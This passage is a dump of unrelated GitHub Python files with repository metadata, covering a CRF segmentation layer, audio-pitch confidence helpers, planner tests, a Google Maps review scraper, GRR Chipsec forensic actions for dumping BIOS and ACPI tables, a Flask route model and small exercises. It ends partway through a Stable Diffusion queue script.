CRF unary potential. Generally the\n        output of a per-pixel softmax nonlinearity. Shape must be:\n        (batch_size, n_categories, H, W).\n\n    ref : a :class:`Layer` instance\n        A layer providing the reference images used for the CRF pairwise\n        potentials. Typically this is just the input image layer. Shape\n        must be: (batch_size, input_channels, H, W).\n\n    sxy_bf : int\n        Spatial standard deviation for the bilateral kernel of the CRF.\n\n    sc_bf : int\n        Color standard deviation for the bilateral kernel of the CRF. NOTE:\n        Default values for this parameter assume the reference images are\n        in the range [0,255] (or [-128,128] or a range similar magnitude).\n        You should change this if your images do not satisfy this\n        requirement.\n\n    compat_bf : int\n        Label compatibility weight for the bilateral kernel of the CRF. For\n        now, assumes a Potts model w/a single parameter.\n\n    sxy_spatial : int\n        Spatial standard deviation for the 2D Gaussian kernel of the CRF.\n\n    compat_spatial : int\n        Label compatibility weight for the 2D Gaussian kernel of the CRF.\n        For now, assumes a Potts model w/a single parameter.\n\n    num_iter : int\n        Number of inference iterations to perform.\n\n    normalize_final_iter : bool\n        Whether or not to normalize (apply softmax to) the output of the\n        final inference iteration. If your model requires pre-softmax\n        outputs, set this to False.\n\n    trainable_kernels : bool\n        By default, the kernel widths and compatibility weights (sxy_...,\n        sc_..., compat_...) are fixed parameters. Set this to true to allow\n        learning of these parameters (TODO: somewhat untested, maybe\n        unstable).\n    \"\"\"\n    def __init__(self, unary, ref, sxy_bf=70, sc_bf=10, compat_bf=6,\n                 sxy_spatial=2, compat_spatial=2, num_iter=5,\n                 normalize_final_iter=True, trainable_kernels=False,\n                 name=None):\n\n        super(CRFasRNNLayer, self).__init__(incomings=[unary, ref], name=name)\n\n        self.sxy_bf = sxy_bf\n        self.sc_bf = sc_bf\n        self.compat_bf = compat_bf\n        self.sxy_spatial = sxy_spatial\n        self.compat_spatial = compat_spatial\n        self.num_iter = num_iter\n        self.normalize_final_iter = normalize_final_iter\n\n        if ll.get_output_shape(ref)[1] not in [1, 3]:\n            raise ValueError(\"Reference image must be either color or greyscale \\\n(1 or 3 channels).\")\n\n        self.val_dim = ll.get_output_shape(unary)[1]\n        # +2 for bilateral grid\n        self.ref_dim = ll.get_output_shape(ref)[1] + 2\n\n        if self.ref_dim == 5:\n            kstd_bf = np.array([sxy_bf, sxy_bf, sc_bf, sc_bf, sc_bf],\n                               np.float32)\n        else:\n            kstd_bf = np.array([sxy_bf, sxy_bf, sc_bf], np.float32)\n\n        self.kstd_bf = self.add_param(kstd_bf, (self.ref_dim,),\n                                      name=\"kern_std\",\n                                      trainable=trainable_kernels,\n                                      regularizable=False)\n\n        gk = gkern(sxy_spatial, self.val_dim)\n        self.W_spatial = self.add_param(gk, gk.shape, name=\"spatial_kernel\",\n                                        trainable=trainable_kernels,\n                                        regularizable=False)\n\n        if None in (self.val_dim, self.ref_dim):\n            raise ValueError(\"CRF RNN requires known channel dimensions for \\\nall inputs.\")\n\n    def get_output_shape_for(self, input_shapes):\n        return input_shapes[0]\n\n    def get_output_for(self, inputs, **kwargs):\n        unary, ref = inputs\n\n        N, _, H, W = ref.shape\n        yx = tt.cast(tt.stack(tt.mgrid[0:H, 0:W]), \"float32\")\n        grid = tt.alloc(yx[np.newaxis, :, :, :], N, 2, H, W)\n        stacked = tt.concatenate([grid, ref], axis=1)\n\n        def _bilateral(V, R):\n            o = tt.ones((1, V.shape[1], V.shape[2]), \"float32\")\n            norm = tt.sqrt(gaussian_filter(R, o, self.kstd_bf,\n                                           self.ref_dim)) + 1e-8\n            return gaussian_filter(R, V/norm, self.kstd_bf, self.ref_dim,\n                                   self.val_dim) / norm\n\n        def _step(prev_q, U, ref, normalize=True):\n            qbf = _bilateral(prev_q, ref,)\n            qsf = tt.nnet.conv2d(prev_q[np.newaxis, :, :, :],\n                                 self.W_spatial, border_mode=\"half\")[0]\n\n            q_hat = -self.compat_bf * qbf + -self.compat_spatial * qsf\n            q_hat = U - q_hat\n\n            return softmax(q_hat, axis=0) if normalize else q_hat\n\n        def _inference(unary_i, ref_i):\n            U = tt.log(tt.clip(unary_i, 1e-5, 1))\n            prev_q = softmax(U, axis=0)\n\n            # This is faster than using scan.\n            for i in range(self.num_iter):\n                normalize = self.normalize_final_iter or i < self.num_iter-1\n                prev_q = _step(prev_q, U, ref_i, normalize)\n            return prev_q\n\n        return theano.scan(fn=_inference, sequences=[unary, stacked],\n                           outputs_info=None)[0]\n","repo_name":"ReemHal/stem_detection","sub_path":"lib/crfrnn/layers.py","file_name":"layers.py","file_ext":"py","file_size_in_byte":9226,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"57"}
+{"seq_id":"11102341515","text":"import mirdata\nimport csv\nimport os\nimport numpy as np\nimport scipy\n\n\ndef ikala(track_id, source_sep=False):\n\n    if source_sep:\n        confidence_fpath = os.path.join(\n            \"confidence/separation\",\n            \"iKala\",\n            \"{}_lead_VUIMM.wav.conf.csv\".format(track_id),\n        )\n    else:\n        confidence_fpath = \"confidence/stems/iKala/{}.wav.conf.csv\".format(track_id)\n\n    with open(confidence_fpath, \"r\") as fhandle:\n        reader = csv.reader(fhandle, delimiter=\",\")\n        raw_times, raw_conf = [], []\n\n        for line in reader:\n            raw_times.append(float(line[0]))\n            raw_conf.append(float(line[1]))\n\n    track_data = mirdata.ikala.load_track(track_id)\n\n    conf = scipy.interpolate.interp1d(\n        np.array(raw_times),\n        np.array(raw_conf),\n        \"linear\",\n        fill_value=0.0,\n        bounds_error=False,\n    )(track_data.f0.times)\n\n    conf = conf * (track_data.f0.frequencies > 0).astype(\"float\")\n\n    return conf\n\n\ndef medleydb_pitch(track_id):\n\n    confidence_fpath = \"confidence/stems/MedleyDB-Pitch/{}.wav.conf.csv\".format(\n        track_id\n    )\n\n    with open(confidence_fpath, \"r\") as fhandle:\n        reader = csv.reader(fhandle, delimiter=\",\")\n        raw_times, raw_conf = [], []\n\n        for line in reader:\n            raw_times.append(float(line[0]))\n            raw_conf.append(float(line[1]))\n\n    track_data = mirdata.medleydb_pitch.load_track(track_id)\n\n    conf = scipy.interpolate.interp1d(\n        np.array(raw_times),\n        np.array(raw_conf),\n        \"linear\",\n        fill_value=0.0,\n        bounds_error=False,\n    )(track_data.pitch.times)\n\n    conf = conf * (track_data.pitch.frequencies > 0).astype(\"float\")\n\n    return conf\n","repo_name":"juanjobosch/continuousf0eval","sub_path":"experiments/confidence.py","file_name":"confidence.py","file_ext":"py","file_size_in_byte":1720,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"57"}
+{"seq_id":"45246557383","text":"import unittest\nimport os\nimport numpy as np\nimport math\nimport logging\nimport time\nimport itertools\nimport random\nimport planner.src.main.python.rebound as rebound\nfrom . import settings\n\nclass TestRunning(unittest.TestCase):\n\n    @unittest.skip(\"Outdated\")\n    def test_running_df(self):\n        print(\"--- test_running_df ---\")\n        pt = (520, 368)\n        target = (522, 376)\n        rg = [\n            [\n                5,\n                50\n            ],\n            [\n                90,\n                50\n            ]\n        ]\n\n        self.assertNotEqual(rebound.run(\n            settings.scene_files[10], pt, 1, rg, search_method=\"df\", max_iter=50000, log_level=logging.INFO), None, \"Expected the output not to be empty\")\n\n    @unittest.skip(\"Outdated\")\n    def test_running_bf(self):\n        print(\"--- test_running_bf ---\")\n        pt = (520, 368)\n        target = (522, 376)\n        rg = [\n            [\n                5,\n                50\n            ],\n            [\n                90,\n                50\n            ]\n        ]\n        self.fail(\"Disabled\")\n        self.assertNotEqual(rebound.run(\n            settings.scene_files[10], pt, 1, rg, search_method=\"bf\", max_iter=10000, log_level=logging.INFO), None, \"Expected the output not to be empty\")\n\n    @unittest.skip(\"Outdated\")\n    def test_running_start_df(self):\n        print(\"--- test_running_start_df ---\")\n        pt = (306, 316)\n        target = (522, 376)\n        rg = [271, 89]\n        velocity = 75\n        self.fail(\"Disabled\")\n        self.assertNotEqual(rebound.run(\n            settings.scene_files[10], pt, 0, rg, velocity, search_method=\"df\", max_iter=10000, log_level=logging.INFO), None, \"Expected the output not to be empty\")\n\n    @unittest.skip(\"Outdated\")\n    def test_running_start_df_second_image(self):\n        print(\"--- test_running_start_df_second_image ---\")\n        pt = (260, 316)\n        target = (571, 331)\n        rg = [0, 89]\n        velocity = 50\n        self.fail(\"Disabled\")\n        self.assertNotEqual(rebound.run(\n            settings.scene_files[11], pt, 0, rg, velocity, target, search_method=\"df\", max_iter=10000, log_level=logging.INFO), None, \"Expected the output not to be empty\")\n\n    @unittest.skip(\"Outdated\")\n    def test_running_start_bf(self):\n        print(\"--- test_running_start_bf ---\")\n        pt = (306, 316)\n        target = (522, 376)\n        rg = [45, 89]\n        velocity = 75\n        self.fail(\"Disabled\")\n        self.assertNotEqual(rebound.run(\n            settings.scene_files[10], pt, 0, rg, velocity, target, search_method=\"bf\", max_iter=10000, log_level=logging.INFO), None, \"Expected the output not to be empty\")\n\n    @unittest.skip(\"Outdated\")\n    def test_running_start_heuristic(self):\n        print(\"--- test_running_start_heuristic ---\")\n        pt = (297, 331)\n        target = (522, 376)\n        rg = [271, 89]\n        velocity = 75\n        self.fail(\"Disabled\")\n        result = [i for i,j in zip(rebound.run(\n            settings.scene_files[10], pt, 0, rg, velocity, target, search_method=\"heuristic\", max_iter=50000, log_level=logging.INFO, bounce_variance=0, edge_length=10,path_length='better_actual'), range(10))]\n        self.assertTrue(len(result) > 0, \"Expected the output not to be empty\")\n\n    def test_running_start_heuristic_third_image(self):\n        print(\"--- test_running_start_heuristic_third_image ---\")\n        start_interval = [271, 89]\n        file = settings.files[0]\n        edge_length = 6\n        bounce_variance = 0\n        path_algorithm = 'better_actual'\n        check_length = 0\n        result = np.array([i for i in rebound.run(\n            file[\"img_file\"], file[\"origin\"], 0, start_interval, file[\"velocity\"], file[\"target\"], search_method=\"astar\", max_iter=50000, log_level=logging.INFO, edge_length=edge_length, bounce_variance=bounce_variance, path_length=path_algorithm, consistency_check_length=check_length)])\n        if result.size > 0:\n            print(result)\n            print(rebound.merge_intervals(list(result[:,0])))\n        self.assertTrue(len(result) > 0, \"Expected the output not to be empty\")\n\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"dwolter/BamBirds","sub_path":"planner/src/test/python/rebound/test_running.py","file_name":"test_running.py","file_ext":"py","file_size_in_byte":4155,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"57"}
+{"seq_id":"13629193020","text":"from selenium import webdriver\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.webdriver.support.ui import WebDriverWait\r\nfrom selenium.webdriver.support import expected_conditions as EC\r\nfrom selenium.webdriver.common.action_chains import ActionChains\r\nfrom selenium.webdriver.chrome.options import Options\r\nfrom bs4 import BeautifulSoup\r\nimport pandas as pd    \r\nimport logging\r\nimport time\r\n\r\ndef get_reviews(address):\r\n    chrome_options = Options()\r\n    chrome_options.add_argument(\"--headless\")\r\n    PATH = \"chromedriver.exe\"\r\n    driver = webdriver.Chrome(PATH, options=chrome_options)\r\n    #London Victoria & Albert Museum URL\r\n    driver.get(address)\r\n\r\n    import time\r\n    \r\n    try:\r\n        # get number of reviews\r\n        WebDriverWait(driver, 3).until(EC.presence_of_element_located((By.CLASS_NAME, 'HHrUdb')))\r\n        total_number_of_reviews = driver.find_element(By.CLASS_NAME, \"HHrUdb\")\r\n        print(total_number_of_reviews.get_attribute('innerHTML').strip())\r\n    except BaseException:\r\n        print('webpage not found')\r\n        logging.exception(\"Except\")\r\n        pass\r\n\r\n    try:\r\n        # get type\r\n        WebDriverWait(driver, 3).until(EC.presence_of_element_located((By.CSS_SELECTOR, \"[jsan='7.DkEaL,0.jsaction']\")))\r\n        rest_type = driver.find_element(By.CSS_SELECTOR, \"[jsan='7.DkEaL,0.jsaction']\")\r\n        type = rest_type.get_attribute('innerHTML').strip().lower()\r\n    except BaseException:\r\n        print('type not found')\r\n        logging.exception(\"Except\")\r\n        type =\"\"\r\n        pass\r\n\r\n    try:\r\n        # get more keywords\r\n        WebDriverWait(driver, 2).until(EC.presence_of_element_located((By.CSS_SELECTOR, \"[jsan='7.tXNTee,7.LCTIRd,7.L6Bbsd,0.aria-label,0.data-tooltip,0.jsaction']\")))\r\n        element = driver.find_element(By.CSS_SELECTOR,\"[jsan='7.tXNTee,7.LCTIRd,7.L6Bbsd,0.aria-label,0.data-tooltip,0.jsaction']\")\r\n        ActionChains(driver).move_to_element(element).perform()\r\n        #driver.implicitly_wait(5)\r\n        element.click()\r\n        print(\"+ button found\")\r\n    except BaseException:\r\n        print('more keyword button not found')\r\n        logging.exception(\"Except\")\r\n        pass\r\n\r\n    try:\r\n        # click sort button\r\n        WebDriverWait(driver, 1).until(EC.presence_of_element_located((By.CSS_SELECTOR, \"[aria-label='Sort reviews']\")))\r\n        driver.implicitly_wait(3)\r\n        element = driver.find_element(By.CSS_SELECTOR,\"[aria-label='Sort reviews']\")\r\n        ActionChains(driver).move_to_element(element).perform()\r\n        #driver.implicitly_wait(5)\r\n        element.click()\r\n    except BaseException:\r\n        print('sort button not found')\r\n        logging.exception(\"Except\")\r\n        pass\r\n\r\n    try:\r\n        # click newest button\r\n        WebDriverWait(driver, 1).until(EC.presence_of_element_located((By.XPATH, \"//li[@data-index='1']\")))\r\n        element = driver.find_element(By.XPATH, \"//li[@data-index='1']\")\r\n        #driver.implicitly_wait(5)\r\n        element.click()\r\n    except BaseException:\r\n        print('button not found')\r\n        logging.exception(\"Except\")\r\n        pass\r\n\r\n    try:\r\n        WebDriverWait(driver, 3).until(EC.presence_of_element_located((By.CLASS_NAME, \"jftiEf\")))\r\n        print('reviews found')\r\n    except:\r\n        print('reviews not found')\r\n        logging.exception(\"Except\")\r\n        pass\r\n\r\n    time.sleep(1)\r\n    n = 0\r\n    \r\n    while n < 2:\r\n        try:\r\n            last_div = driver.find_element(By.CLASS_NAME, \"lXJj5c\")\r\n            ActionChains(driver).move_to_element(last_div).perform()\r\n            n+=1\r\n        except: \r\n            print(\"cant scroll\")\r\n            logging.exception(\"Except\")\r\n            break\r\n            \r\n    time.sleep(1)\r\n    \r\n    response = BeautifulSoup(driver.page_source, 'html.parser')\r\n    reviews = response.find_all('div', class_='jftiEf')\r\n    keywords = response.find_all('div', class_='e2moi')\r\n    driver.quit()\r\n    \r\n    return get_review_summary(reviews, keywords, type)\r\n\r\ndef get_review_summary(result_set, keyword_set, type):\r\n    num = 0\r\n    rev_dict = {'Review Text' : [],\r\n        'Phrase': []}\r\n    for result in result_set:\r\n        review_text = result.find('span',class_='wiI7pd').text\r\n        rev_dict['Review Text'].append(review_text)\r\n\r\n        if review_text !=\"\":\r\n            num +=1\r\n            review_text=\"\"\r\n\r\n        if num == 20:\r\n            break\r\n\r\n    print(len(rev_dict['Review Text']))\r\n    rev_dict['Review Text'] = list(filter(None, rev_dict['Review Text']))\r\n    print(len(rev_dict['Review Text']))\r\n\r\n    for keyword in keyword_set:\r\n        phrase = keyword.find('span',class_='uEubGf').text\r\n        rev_dict['Phrase'].append(phrase)\r\n    \r\n    try:\r\n        ind = rev_dict['Phrase'].index(\"All\")\r\n    except:\r\n        ind = -1\r\n        rev_dict[\"Phrase\"] = []\r\n\r\n    ind+=1\r\n    rev_dict['Phrase'] = rev_dict['Phrase'][ind:-1]\r\n    rev_dict['Phrase'].insert(0, type)\r\n    rev_dict['Phrase'] = ' '.join(rev_dict['Phrase'])\r\n    print(rev_dict['Phrase'])\r\n    print(str(num) + \" reviews added\")\r\n    return rev_dict\r\n\r\nstart = time.time()\r\nget_reviews(\"https://www.google.com/maps/place/Nomiya+Izakaya+%26+Sake+Bar/@1.2830168,103.844223,17z/data=!3m1!5s0x31da197334487039:0x9498c1839e31e20a!4m5!3m4!1s0x0:0xcff17c5fe8df99c1!8m2!3d1.2830168!4d103.844223\")\r\n\r\nend = time.time()\r\nhours, rem = divmod(end-start, 3600)\r\nminutes, seconds = divmod(rem, 60)\r\nprint(\"{:0>2}:{:0>2}:{:05.2f}\".format(int(hours),int(minutes),seconds))\r\n","repo_name":"jjtan444/DineEasy","sub_path":"Reviews Scraping/web.py","file_name":"web.py","file_ext":"py","file_size_in_byte":5476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"29136201052","text":"#!/usr/bin/env python\n\"\"\"Execute a Chipsec plugin on the client.\"\"\"\n\nimport io\nimport logging\nfrom logging import handlers\nimport os\nimport platform\n\n\n# pylint: disable=g-bad-import-order, g-import-not-at-top\n# Import Chipsec configuration first so we can hook onto its internal path\n# resolution.\nfrom chipsec import file as chipsec_file\n\nchipsec_file.main_is_frozen = lambda: False\n\n# Initialize the Chipsec plugins\nfrom chipsec import chipset\nfrom chipsec import logger\nfrom chipsec.hal import acpi\nfrom chipsec.hal import spi\nfrom chipsec.helper import oshelper\n\nfrom grr_response_core import config\nfrom grr_response_client import actions\nfrom grr_response_client.client_actions import tempfiles\nfrom grr_response_core.lib.rdfvalues import chipsec_types as rdf_chipsec_types\n\n# pylint: enable=g-bad-import-order, g-import-not-at-top\n\n\nclass DumpFlashImage(actions.ActionPlugin):\n  \"\"\"A client action to collect the BIOS via SPI using Chipsec.\"\"\"\n\n  in_rdfvalue = rdf_chipsec_types.DumpFlashImageRequest\n  out_rdfvalues = [rdf_chipsec_types.DumpFlashImageResponse]\n\n  def LogError(self, err):\n    self.logs.append(\"Error dumping Flash image.\")\n    self.logs.append(\"%r: %s\" % (err, err))\n    self.logs.extend(self.chipsec_log.getvalue().splitlines())\n    self.SendReply(rdf_chipsec_types.DumpFlashImageResponse(logs=self.logs))\n\n  def Run(self, args):\n    # Due to talking raw to hardware, this action has some inevitable risk of\n    # crashing the machine, so we need to flush the transaction log to ensure\n    # we know when this happens.\n    self.SyncTransactionLog()\n\n    # Temporary extra logging for Ubuntu\n    # TODO(user): Add generic hunt flag to notify syslog before running each\n    # client action.\n    if args.notify_syslog:\n      syslog = logging.getLogger(\"chipsec_grr\")\n      syslog.setLevel(logging.INFO)\n      syslog.addHandler(handlers.SysLogHandler(address=\"/dev/log\"))\n      syslog.info(\"%s: Running DumpFlashImage\", config.CONFIG[\"Client.name\"])\n\n    self.logs = []\n    self.chipsec_log = io.StringIO()\n\n    if args.log_level:\n      logger.logger().UTIL_TRACE = True\n      if args.log_level == 2:\n        logger.logger().VERBOSE = True\n      logger.logger().logfile = self.chipsec_log\n      logger.logger().LOG_TO_FILE = True\n\n    # Create a temporary file to store the flash image.\n    dest_fd, dest_pathspec = tempfiles.CreateGRRTempFileVFS(suffix=\".flash\")\n\n    # Wrap most of Chipsec code to gather its logs in case of failure.\n    try:\n      # Initialise Chipsec (die early if unknown chipset)\n      c = chipset.cs()\n      # Platform = None, Start Driver = False\n      c.init(None, False)\n      s = spi.SPI(c)\n\n      # Use hal.spi from chipsec to write BIOS to that file.\n      with dest_fd:\n        # Based on Chipsec code, rely on the address of BIOS(=1) region to\n        # determine the size of the flash.\n        _, limit, _ = s.get_SPI_region(1)\n        spi_size = limit + 1\n        # Read args.chunk_size bytes at a time and heartbeat.\n        bios = []\n        for i in range(0, spi_size, args.chunk_size):\n          bios.extend(s.read_spi(i, args.chunk_size))\n          self.Progress()\n\n        dest_fd.write(bytes(bios))\n\n    except (chipset.UnknownChipsetError, oshelper.OsHelperError) as err:\n      # If the chipset is not recognised or if the helper threw an error,\n      # report gracefully the error to the flow.\n      if args.log_level:\n        self.LogError(err)\n      tempfiles.DeleteGRRTempFile(dest_pathspec.path)\n      self.SendReply(\n          rdf_chipsec_types.DumpFlashImageResponse(logs=[\"%s\" % err],))\n      return\n    except Exception as err:  # pylint: disable=broad-except\n      # In case an exception is raised, if the verbose mode\n      # is enabled, return the raw logs from Chipsec.\n      if args.log_level:\n        self.LogError(err)\n      tempfiles.DeleteGRRTempFile(dest_pathspec.path)\n      raise\n\n    if args.log_level:\n      self.logs.extend(self.chipsec_log.getvalue().splitlines())\n\n    if args.notify_syslog:\n      syslog.info(\"%s: DumpFlashImage has completed successfully\",\n                  config.CONFIG[\"Client.name\"])\n\n    self.SendReply(\n        rdf_chipsec_types.DumpFlashImageResponse(\n            path=dest_pathspec, logs=self.logs))\n\n\nclass DumpACPITable(actions.ActionPlugin):\n  \"\"\"A client action to collect the ACPI table(s).\"\"\"\n\n  in_rdfvalue = rdf_chipsec_types.DumpACPITableRequest\n  out_rdfvalues = [rdf_chipsec_types.DumpACPITableResponse]\n\n  def LogError(self, err):\n    self.logs.append(\"Error dumping ACPI table.\")\n    self.logs.append(\"%r: %s\" % (err, err))\n    self.logs.extend(self.chipsec_log.getvalue().splitlines())\n    self.SendReply(rdf_chipsec_types.DumpACPITableResponse(logs=self.logs))\n\n  def Run(self, args):\n    self.logs = []\n    self.chipsec_log = io.StringIO()\n\n    if args.logging:\n      self.logs.append(\"Dumping %s\" % args.table_signature)\n\n      logger.logger().logfile = self.chipsec_log\n      logger.logger().LOG_TO_FILE = True\n\n    # Wrap most of Chipsec code to gather its logs in case of failure.\n    try:\n      # Initialise Chipsec (die early if unknown chipset)\n      c = chipset.cs()\n      # Platform = None, Start Driver = False\n      c.init(None, False)\n      a = acpi.ACPI(c)\n\n      acpi_tables_raw = a.get_ACPI_table(args.table_signature)\n      acpi_tables = []\n\n      for i, table_address in enumerate(a.tableList[args.table_signature]):\n        table_header, table_content = acpi_tables_raw[i]\n        table_blob = table_header + table_content\n\n        acpi_tables.append(\n            rdf_chipsec_types.ACPITableData(\n                table_address=table_address, table_blob=table_blob))\n    except (chipset.UnknownChipsetError, OSError) as err:\n      # Expected errors that might happen on the client\n      # If the chipset is unknown or we encountered an error due to reading\n      # an area we do not have access to using /dev/mem, simply return an\n      # error message.\n      if args.logging:\n        self.LogError(err)\n      self.SendReply(\n          rdf_chipsec_types.DumpACPITableResponse(logs=[\"%s\" % err],))\n      return\n    except Exception as err:  # pylint: disable=broad-except\n      # In case an exception is raised, if the verbose mode\n      # is enabled, return the raw logs from Chipsec.\n      if args.logging:\n        self.LogError(err)\n      raise\n\n    if not acpi_tables:\n      self.logs.append(\n          \"No ACPI table with signature %s.\" % args.table_signature)\n    else:\n      self.logs.append(\n          \"ACPI table with signature %s has been successfully dumped.\" %\n          args.table_signature)\n\n    if args.logging:\n      self.logs.extend(self.chipsec_log.getvalue().splitlines())\n\n    self.SendReply(\n        rdf_chipsec_types.DumpACPITableResponse(\n            acpi_tables=acpi_tables, logs=self.logs))\n","repo_name":"google/grr","sub_path":"grr/client/grr_response_client/components/chipsec_support/actions/grr_chipsec.py","file_name":"grr_chipsec.py","file_ext":"py","file_size_in_byte":6765,"program_lang":"python","lang":"en","doc_type":"code","stars":4531,"dataset":"github-code","pt":"57"}
+{"seq_id":"41316190175","text":"\"\"\"\n二进制数转字符串。给定一个介于0和1之间的实数（如0.72），类型为double，打印它的二进制表达式。如果该数字无法精确地用32位以内的二进制表示，则打印“ERROR”。\n\nM05.02 bianry-number-to-string-lcci/\n\"\"\"\nclass Solution:\n    def printBin(self, num: float) -> str:\n        res = \"0.\"\n        while len(res) <= 32 and num != 0:\n            num *= 2\n            digit = int(num)\n            res += str(digit)\n            num -= digit\n        return res if len(res) <= 32 else \"ERROR\"\n","repo_name":"Vonkondok/Funclib","sub_path":"toolwk.py","file_name":"toolwk.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"69952948978","text":"# -*- coding: utf-8 -*-\n\"\"\"\nGeneric dummy modules.\n\"\"\"\n\n\nclass DummyTableData(object):\n    \"\"\"\n    This is a data provider that feeds stuff to the table mold.\n    \"\"\"\n\n    def __init__(self, columns, data, css=None):\n        self.columns = columns\n        self.data = data\n        self.css = css or {}\n\n    def to_jsonable(self):\n        \"\"\"\n        Convert to a dict that can be dumped into json.\n        \"\"\"\n\n        column_ids = [c[0] for c in self.columns]\n\n        results = {\n            # filter out potential JSON-LD keywords from usable column_ids\n            \"active_columns\": [\n                id_ for id_, name in self.columns if id_[0] != '@'],\n            \"column_map\": {k: v for k, v in self.columns if k[0] != '@'},\n            \"data\": [\n                dict(zip(column_ids, datum)) for datum in self.data\n            ],\n            \"css\": self.css,\n        }\n\n        return results\n","repo_name":"calmjs/nunja","sub_path":"src/nunja/testing/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"57"}
+{"seq_id":"1366499842","text":"import json\nfrom decimal import Decimal\nfrom abc import ABCMeta\nfrom tools.graph import Graph\nfrom plugins import db\n\nclass MetaModel():\n    __metaclass__ = ABCMeta\n\n    def save(self):\n        try:\n            db.create_all()\n            db.session.add(self)\n            db.session.commit()\n        except Exception as e:\n            db.session.rollback()\n            raise e\n\n    def delete(self):\n        try:\n            db.create_all()\n            db.session.delete(self)\n            db.session.commit()\n        except Exception as e:\n            db.session.rollback()\n            raise e\n    \n\nclass LogisticRoute(db.Model, MetaModel):\n    \n    __metaclass__ = type('LogisticRouteMeta', (type(db.Model), type(MetaModel)), {})\n    __tablename__ = 'logistic_route'\n    \n    id = db.Column(db.Integer, primary_key=True)\n    name = db.Column(db.String(100), unique=True)\n    routes = db.relationship(\"Route\", cascade=\"all, delete-orphan\")\n\n    def as_graph(self):\n        graph = Graph()\n        for route in self.routes:\n            graph.add_vertex(route.source, {route.target : route.distance})\n        return graph\n\n    def get_shortest_route_and_cost(self, source, target, autonomy, price_per_litre):\n        graph = self.as_graph()\n        shortest_route, total_distance = graph.shortest_path(source, target)\n        return shortest_route, (float(total_distance)/autonomy)*price_per_litre\n\n    @staticmethod\n    def create_from_text(text):\n        db.session.begin(subtransactions=True)\n        try:\n\n            name, *paths = text.split('\\n')     \n            \n            for logistic_route in LogisticRoute.query.filter_by(name=name).all():\n                logistic_route.delete()\n            \n            logistic_route = LogisticRoute(name)\n            logistic_route.save()\n            \n            for path in paths:\n                source, target, distance = path.split(' ')\n                logistic_route.add_route(source, target, distance)\n            \n            db.session.commit()\n        except Exception as e:\n            db.session.rollback()\n            raise e\n        \n    @property\n    def serialize(self):\n        return {\n            'id'     : self.id,\n            'name'   : self.name,\n            'routes' : [route.serialize for route in self.routes]\n        }\n\n    def add_route(self, source, target, distance):\n        route = Route(source, target, distance, self)\n        route.save()\n\n    def __init__(self, name):\n        self.name = name\n\n\nclass Route(db.Model, MetaModel):\n    __metaclass__ = type('RouteMeta', (type(db.Model), type(MetaModel)), {})\n    __tablename__ = 'route'\n    \n    id = db.Column(db.Integer, primary_key=True)\n    source = db.Column(db.String(80))\n    target = db.Column(db.String(80))\n    distance = db.Column(db.Float(precision=8, scale=2, asdecimal=True))\n    logistic_route_id = db.Column(db.Integer, db.ForeignKey('logistic_route.id'))\n    logistic_route = db.relationship(\"LogisticRoute\", back_populates=\"routes\")\n\n    def __init__(self, source, target, distance, logistic_route):\n        self.source = source\n        self.target = target\n        self.distance = distance\n        self.logistic_route = logistic_route\n\n    @property\n    def serialize(self):\n        return {\n            'id'       : self.id,\n            'source'   : self.source,\n            'target'   : self.target,\n            'distance' : float(self.distance)\n        }\n\n","repo_name":"alanepontes/pick-route","sub_path":"pick_route_project/plugins/logistics/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"8204318504","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Feb  6 09:49:14 2021\r\n\r\n@author: maxpe\r\n\"\"\"\r\nlargestOddNumber = None;\r\nfor i in range(10):\r\n    number = int(input(\"Enter an integer: \"));\r\n    \r\n    if (number % 2 != 0) and (largestOddNumber is None or largestOddNumber < number):\r\n        largestOddNumber = number;\r\n    \r\nif largestOddNumber is None:\r\n    print(\"No odd numbers where entered.\")\r\nelse:\r\n    print(\"The largest odd number entered is:\" + str(largestOddNumber));","repo_name":"maxpt95/6.00.1xPython","sub_path":"Unit1/largestOddNumber.py","file_name":"largestOddNumber.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"35900418688","text":"import glob\nimport os\nimport subprocess\nfrom time import sleep\nimport bot\n\nPROMPTS = []\nUSERS = []\nMAX_QUEUE_SIZE = 100\nRUNNING = False\nCUR_PROMPT = ''\nPYTHON_EXE = '/home/csguest/anaconda3/bin/python3.9'\n\n'''called by bot.send_message'''\ndef add_query(message, user):\n\tglobal PROMPTS, USERS\n\tt_prompts = len(PROMPTS)\n\t\n\tif t_prompts <  MAX_QUEUE_SIZE:\n\t\tprint('adding to queue...')\n\t\tPROMPTS.append(message)\n\t\tUSERS.append(user)\n\t\tprint(f'queue: {PROMPTS}')\n\t\tif RUNNING:\n\t\t\treturn f'added \"{message}\" to queue in slot {t_prompts+2}'\n\t\treturn f'added \"{message}\" to queue in slot {t_prompts+1}'\n\telse:\n\t\treturn 'I am too busy right now, please wait until a previous prompt finishes then resubmit\\nlove you, bye!'\n\n\ndef start_sd(run):\n\twhile run.is_set():\n\t\ttry:\n\t\t\tcall_sd(run)\n\t\texcept:\n\t\t\tprint('stable_diffusion crashed... restarting')\n\n\n'''looping function that checks for new instances of PROMPTS, then runs SD'''\ndef call_sd(run):\n\tglobal PROMPTS, USERS, RUNNING, CUR_PROMPT\n\tnew_prompt = False\n\n\twhile run.is_set():\n\t\tif len(PROMPTS) != 0 and not new_prompt:\n\t\t\tCUR_PROMPT = PROMPTS.pop(0)\n\t\t\tuser = USERS.pop(0)\n\t\t\tnew_prompt = True\n\n\t\tif new_prompt:\n\t\t\tnew_prompt = False\n\t\t\tRUNNING = True\n\t\t\tcmd = f'source /home/csguest/anaconda3/etc/profile.d/conda.sh && conda activate invokeai && python 